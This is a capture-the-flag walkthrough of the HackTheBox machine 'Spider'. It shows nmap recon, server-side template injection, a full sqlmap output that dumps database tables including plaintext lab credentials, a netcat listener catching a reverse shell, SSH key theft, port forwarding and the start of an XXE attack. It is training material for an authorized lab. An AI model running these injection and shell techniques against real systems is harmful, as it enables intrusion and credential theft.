Posted onEdited onInHackTheBox walkthroughViews: Word count in article: 2.8kReading time ≈10 mins.
introduce
OS: Linux Difficulty: Hard Points: 40 Release: 29 May 2021 IP: 10.10.10.243
Recon
using nmap
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/spider] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.243 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.14.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
There are two ports open 22:ssh 80:http
Port-80
It’s redirect to spider.htb.
Let’s add spider.htb in /etc/hosts file.
1
10.10.10.243 spider.htb
Now let’s go to spider.htb.
I found the username chiv inside black chair template.
Now let’s register ourself.
Login with the password which we use in registration.
Now we are login but we can’t access the admin page let’s check inside user information.
My username is reflected here but i can’t change my username but we can try SSTI(Server-Side Template Injection) inside username field let’s register again with 49 username.
Register with username 49
Now let’s check our payload work or not inside user information page.
1
http://spider.htb/user
It’s worked 😃 we get the output 49.
It’s mean the server running Jinja2 or flask. now let’s try to get config file with .
Register with the username
And if we check the user information page we got the config file which has SECRET_KEY
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 10:09:40 /2021-06-04/ custom injection marker ('*') found in option '--headers/--user-agent/--referer/--cookie'. Do you want to process it? [Y/n/q] y [10:09:42] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly [10:09:42] [WARNING] provided value for parameter 'session' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly [10:09:42] [INFO] testing connection to the target URL [10:09:44] [INFO] testing if the target URL content is stable you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n [10:09:47] [INFO] target URL content is stable [10:09:47] [INFO] testing if (custom) HEADER parameter 'Cookie #1*' is dynamic do you want to URL encode cookie values (implementation specific)? [Y/n] n [10:09:49] [WARNING] (custom) HEADER parameter 'Cookie #1*' does not appear to be dynamic [10:09:51] [WARNING] heuristic (basic) test shows that (custom) HEADER parameter 'Cookie #1*' might not be injectable [10:09:52] [INFO] testing for SQL injection on (custom) HEADER parameter 'Cookie #1*' [10:09:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [10:10:06] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [10:10:08] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [10:10:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [10:10:22] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [10:10:29] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [10:10:35] [INFO] testing 'Generic inline queries' [10:10:37] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [10:10:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [10:10:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [10:10:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [10:11:11] [INFO] (custom) HEADER parameter 'Cookie #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n for the remaining tests, do you want to include all tests for'MySQL' extending provided level (1) and risk (1) values? [Y/n] [10:11:32] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [10:11:32] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [10:12:00] [INFO] target URL appears to be UNION injectable with 1 columns [10:12:03] [INFO] (custom) HEADER parameter 'Cookie #1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable (custom) HEADER parameter 'Cookie #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 74 HTTP(s) requests: --- Parameter: Cookie #1* ((custom) HEADER) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: session=' AND (SELECT 1456 FROM (SELECT(SLEEP(5)))zGio) AND 'IMkG'='IMkG
Type: UNION query Title: Generic UNION query (NULL) - 2 columns Payload: session=' UNION ALL SELECT CONCAT(0x7162717a71,0x477a7a5770686c685a45574950634d4446784e46646d594a4c664f75705a787175564d6c4e72484b,0x716a626271)-- - --- [10:12:11] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Nginx 1.14.0 back-end DBMS: MySQL >= 5.0.12 [10:12:20] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries [10:12:20] [INFO] fetching current database [10:12:21] [INFO] fetching tables for database: 'shop' [10:12:22] [INFO] fetching columns for table 'items' in database 'shop' [10:12:24] [INFO] fetching entries for table 'items' in database 'shop' Database: shop Table: items [6 entries] +----+-------------+-------+---------------------------------------------------+-------------------------------------------------------------------------+ | id | name | price | image_path | description | +----+-------------+-------+---------------------------------------------------+-------------------------------------------------------------------------+ | 1 | Chair | 1337 | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. | | 2 | Black Chair | 1337 | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black. | | 3 | Chair | 1337 | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. | | 4 | Black Chair | 1337 | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black. | | 5 | Chair | 1337 | stefan-chair-brown-black__0727320_PE735593_S5.JPG | This is a beautiful chair, finest quality, previously owned by Mitnick. | | 6 | Black Chair | 1337 | martin-chair-black-black__0729761_PE737128_S5.JPG | This is the same as the other one but in black. | +----+-------------+-------+---------------------------------------------------+-------------------------------------------------------------------------+ [10:12:25] [INFO] table 'shop.items' dumped to CSV file '/root/.sqlmap/output/spider.htb/dump/shop/items.csv' [10:12:25] [INFO] fetching columns for table 'users' in database 'shop' [10:12:26] [INFO] fetching entries for table 'users' in database 'shop' Database: shop Table: users [4 entries] +----+--------------------------------------+------------+-----------------+ | id | uuid | name | password | +----+--------------------------------------+------------+-----------------+ | 1 | 129f60ea-30cf-4065-afb9-6be45ad38b73 | chiv | ch1VW4sHERE7331 | | 2 | 9a13e0f6-ee27-4968-908f-0d9882c1f28a | lucifer11 | lucifer11 | | 3 | dc63b342-e0d0-4503-945b-71a3cf365f8e | {{7*7}} | {{7*7}} | | 4 | 38af247a-100f-4712-81c0-5ac1b95e8a95 | {{config}} | {{config}} | +----+--------------------------------------+------------+-----------------+ [10:12:28] [INFO] table 'shop.users' dumped to CSV file '/root/.sqlmap/output/spider.htb/dump/shop/users.csv' [10:12:28] [INFO] fetching columns for table 'support' in database 'shop' [10:12:29] [INFO] fetching entries for table 'support' in database 'shop' [10:12:32] [INFO] fetching number of entries for table 'support' in database 'shop' [10:12:32] [INFO] retrieved: [10:12:32] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] [10:14:03] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s) 0 [10:14:15] [WARNING] table 'support' in database 'shop' appears to be empty Database: shop Table: support [0 entries] +------------+---------+---------+-------------+ | support_id | contact | message | timestamp | +------------+---------+---------+-------------+ +------------+---------+---------+-------------+ [10:14:15] [INFO] table 'shop.support' dumped to CSV file '/root/.sqlmap/output/spider.htb/dump/shop/support.csv' [10:14:15] [INFO] fetching columns for table 'messages' in database 'shop' [10:14:16] [INFO] fetching entries for table 'messages' in database 'shop' Database: shop Table: messages [1 entry] +---------+---------+-----------------------------------------------------------------------------------+---------------------+ | post_id | creator | message | timestamp | +---------+---------+-----------------------------------------------------------------------------------+---------------------+ | 1 | 1 | Fix the <b>/a1836bb97e5f4ce6b3e8f25693c1a16c.unfinished.supportportal</b> portal! | 2020-04-24 15:02:41 | +---------+---------+-----------------------------------------------------------------------------------+---------------------+ [10:14:17] [INFO] table 'shop.messages' dumped to CSV file '/root/.sqlmap/output/spider.htb/dump/shop/messages.csv' [10:14:17] [WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 84 times [10:14:17] [INFO] fetched data logged to text files under '/root/.sqlmap/output/spider.htb' [*] ending @ 10:14:17 /2021-06-04/
┌──(root💀kali)-[~/hackthebox/machine/spider] └─# nc -lvp 9001 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.10.243. Ncat: Connection from 10.10.10.243:43612. bash: cannot set terminal process group (1386): Inappropriate ioctl for device bash: no job control in this shell chiv@spider:/var/www/webapp$ id id uid=1000(chiv) gid=33(www-data) groups=33(www-data) chiv@spider:/var/www/webapp$ whoami whoami chiv chiv@spider:/var/www/webapp$ cd cd chiv@spider:~$ ls ls user.txt chiv@spider:~$ cat user.txt cat user.txt 752a1885aef326b3d705f0b7ca531e4b
And if we go inside /home/chiv/.ssh directory we got the id_rsa key.
┌──(root💀kali)-[~/hackthebox/machine/spider] └─# ssh -i user chiv@10.10.10.243 The authenticity of host '10.10.10.243 (10.10.10.243)' can't be established. ECDSA key fingerprint is SHA256:Z0c/GTs+BeZXyXf2c/kRC1Y+omqtI1wPaEfrz0vvYCM. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.243' (ECDSA) to the list of known hosts. Last login: Fri May 21 15:02:03 2021 from 10.10.14.7 chiv@spider:~$ id uid=1000(chiv) gid=1000(chiv) groups=1000(chiv) chiv@spider:~$ whoami chiv chiv@spider:~$ cat user.txt 752a1885aef326b3d705f0b7ca531e4b
Privilege escalation
let’s run linPEAS.
After analyzing the linPEAS output i found a service running on localhost on port 8080.
For access the port 8080 we need to forward the port.
1
ssh -i user -L 9002:localhost:8080 chiv@spider.htb
Now let’s open the firefox and got to localhost:9002
And we got the beta login page.
Let’s sign in with any username.
This is a shopping cart page where no links are working except logout and our username is also reflected.
And if we see the cookies we see a session cookie let’s try to decode this.
And we also see a hidden value in login view page source.
So we can do XXE(XML External Entity Injection)
Link: XXE Cheatsheet – XML External Entity Injection
After that i analize that we need to put our payload inside this hidden version field and the output is show in username field becuase the username field is reflected when we login inside that.
Now after some hit and try i got lfi and i can read inside root directory so let’s get the root id_rsa key.
For that i intercept the req of login in burp and add this payload.
